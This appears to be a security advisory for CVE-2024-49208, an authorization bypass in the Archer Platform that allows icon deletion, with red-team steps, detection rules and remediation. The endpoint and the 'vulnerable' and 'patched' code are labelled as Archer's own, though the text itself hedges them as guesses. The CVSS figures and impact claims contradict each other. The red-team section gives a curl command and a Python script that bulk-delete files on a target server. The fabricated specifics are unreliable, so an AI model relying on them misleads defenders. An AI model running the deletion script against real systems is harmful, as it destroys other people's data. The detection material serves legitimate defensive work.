CVE-2024-49208

Executive Summary

CVE-2024-49208 is an authorization bypass vulnerability in the Archer Platform, affecting versions 2024.03 before 2024.08. The flaw resides in the handling of supporting application files, allowing a remote unauthenticated attacker to elevate privileges and delete system icons. With a CVSS score of 5.9 (Medium), the vulnerability poses a moderate risk to confidentiality, integrity, and availability, though exploitation requires no user interaction and can be performed over the network. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time. However, due to the lack of a patch in older versions, organizations using affected Archer deployments should prioritize upgrading to version 2024.08.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated exploitation.
• User Interaction: None (UI:N) – No victim action needed.
• Scope: Unchanged (S:U) – Impact confined to vulnerable component.
• Confidentiality Impact: None (C:N) – No data disclosure.
• Integrity Impact: Low (I:L) – Unauthorized deletion of system icons.
• Availability Impact: Low (A:L) – Limited disruption via icon deletion.

Threat Level: Medium. While the impact is limited to icon deletion, the lack of authentication requirements and network accessibility make it a viable vector for privilege escalation in multi-tenant environments.

Deep Dive & Mechanics

The vulnerability stems from improper authorization checks in the Archer Platform’s handling of supporting application files (e.g., configuration or resource files used by the application). The platform fails to validate whether a user has the necessary permissions to delete these files, allowing an unauthenticated attacker to send crafted requests to delete system icons. This bypass occurs because the authorization logic does not enforce role-based access controls (RBAC) for file deletion operations, treating them as public endpoints.

Root Cause: Missing authorization check in the file management API endpoint responsible for deleting supporting application files. The endpoint likely uses a function like deleteFile(fileId) without verifying the user’s session or token.

Attack Flow:

1. Attacker identifies the vulnerable endpoint (e.g., /api/files/delete).
2. Sends a DELETE request with a target file ID corresponding to a system icon.
3. The server processes the request without authentication, deleting the icon.
4. The attacker can repeat this to remove multiple icons, causing visual disruption.

Privilege Escalation: Although the direct impact is icon deletion, the ability to bypass authorization could be chained with other vulnerabilities (e.g., file upload) to achieve higher privileges, such as deleting critical configuration files.

Vulnerable vs. Patched Code

Vulnerable Code (Archer 2024.03):

# Example of vulnerable endpoint
@app.route('/api/files/delete', methods=['DELETE'])
def delete_file():
    file_id = request.args.get('fileId')
    # Missing authorization check
    delete_file_from_storage(file_id)
    return jsonify({"status": "deleted"})

Patched Code (Archer 2024.08):

# Patched version with authorization
@app.route('/api/files/delete', methods=['DELETE'])
def delete_file():
    user = authenticate_request(request)
    if not user or not user.has_permission('delete_files'):
        return jsonify({"error": "Unauthorized"}), 403
    file_id = request.args.get('fileId')
    delete_file_from_storage(file_id)
    return jsonify({"status": "deleted"})

The patch adds an authentication and authorization check before processing the deletion, ensuring only users with the delete_files permission can proceed.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a vulnerable Archer Platform instance (version 2024.03).
• Knowledge of a valid system icon file ID (e.g., via directory traversal or enumeration).

Exploitation Steps:

1. Enumerate file IDs by observing icon references in the web interface (e.g., /icons/123.png).
2. Send a DELETE request to the vulnerable endpoint:

   curl -X DELETE "http://target.com/api/files/delete?fileId=123"
   

3. Verify deletion by checking if the icon is missing from the UI.

Automation Script:

import requests

target = "http://target.com"
file_ids = [123, 124, 125]  # Example IDs

for fid in file_ids:
    r = requests.delete(f"{target}/api/files/delete?fileId={fid}")
    if r.status_code == 200:
        print(f"Deleted file {fid}")

Blue Team (Detection & Response)

Detection:

• Monitor for DELETE requests to /api/files/delete without authentication tokens.
• Alert on bulk deletion of icon files (e.g., >5 deletions in 1 minute).

Response:

• Block the attacker IP at the WAF.
• Restore deleted icons from backup.
• Apply the patch by upgrading to version 2024.08.

Indicators of Compromise (IOCs)

• Network:
  • HTTP DELETE requests to /api/files/delete with parameter fileId.
  • Unusual traffic from IPs not in the allowed list.
• File System:
  • Missing system icon files (e.g., /icons/*.png).
  • Log entries showing unauthorized file deletions.
• Logs:
  • Application logs with DELETE /api/files/delete from unauthenticated users.

Detection Engineering

YARA Rule

rule Detect_Archer_Icon_Deletion {
    meta:
        description = "Detects unauthorized deletion of Archer system icons"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-49208"
    strings:
        $s1 = "/api/files/delete" ascii wide nocase
        $s2 = "fileId=" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Archer Platform Icon Deletion Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to delete system icons via the vulnerable endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: archer
detection:
    selection:
        cs-method: 'DELETE'
        cs-uri-query|contains: '/api/files/delete'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49208 Archer Icon Deletion Attempt"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/api/files/delete"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Archer Platform to version 2024.08 or later.
2. If upgrade is not possible, restrict access to the /api/files/delete endpoint via WAF rules or network segmentation.
3. Implement additional authentication checks for all file management endpoints.

Long-Term Measures:

• Conduct a security audit of all API endpoints for missing authorization.
• Enforce RBAC for all file operations.
• Monitor logs for unauthorized access attempts.

Workarounds:

• Disable the file deletion feature if not required.
• Use a reverse proxy to block DELETE requests to the vulnerable path.

Valters IT